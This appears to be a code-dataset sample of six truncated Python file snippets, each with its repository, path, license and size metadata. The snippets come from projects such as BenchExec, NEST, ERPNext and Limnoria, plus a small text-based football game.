# BenchExec is a framework for reliable benchmarking. # This file is part of BenchExec. # # Copyright (C) 2007-2015 Dirk Beyer # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the Lic...
martin-neuhaeusser/benchexec
benchexec/intel_cpu_energy.py
Python
apache-2.0
4,296
""" DDL and other schema creational operations for TPOT transactional tables holding pre-aggregated data for outcomes analysis """ from sqlalchemy.ext.declarative import declarative_base from sqlalchemy import Column, ForeignKey, Integer, Float, String, Boolean, Date from sqlalchemy.orm import relationship ...
workforce-data-initiative/tpot-warehouse
models/transactional.py
Python
apache-2.0
3,267
# -*- coding: utf-8 -*- # # hl_api_exceptions.py # # This file is part of NEST. # # Copyright (C) 2004 The NEST Initiative # # NEST is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the Licen...
weidel-p/nest-simulator
pynest/nest/lib/hl_api_exceptions.py
Python
gpl-2.0
9,411
from sys import exit def eighteenbox_shot(): print"Shoot ball.Here is your chance to score?" next= raw_input(">") if "0" in next or "5" in next: in_score=int(next) else: dead("Man you lost an open chance") if in_score<7: print "Goaaaal.Perfect short" exit(0) el...
vinnie91/loopgame.py
loopgame.py
Python
gpl-3.0
2,115
from __future__ import unicode_literals __version__ = '5.2.0'
netfirms/erpnext
erpnext/__version__.py
Python
agpl-3.0
62
### # Copyright (c) 2003-2005, Jeremiah Fincher # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of co...
ProgVal/Limnoria-test
plugins/Internet/__init__.py
Python
bsd-3-clause
2,466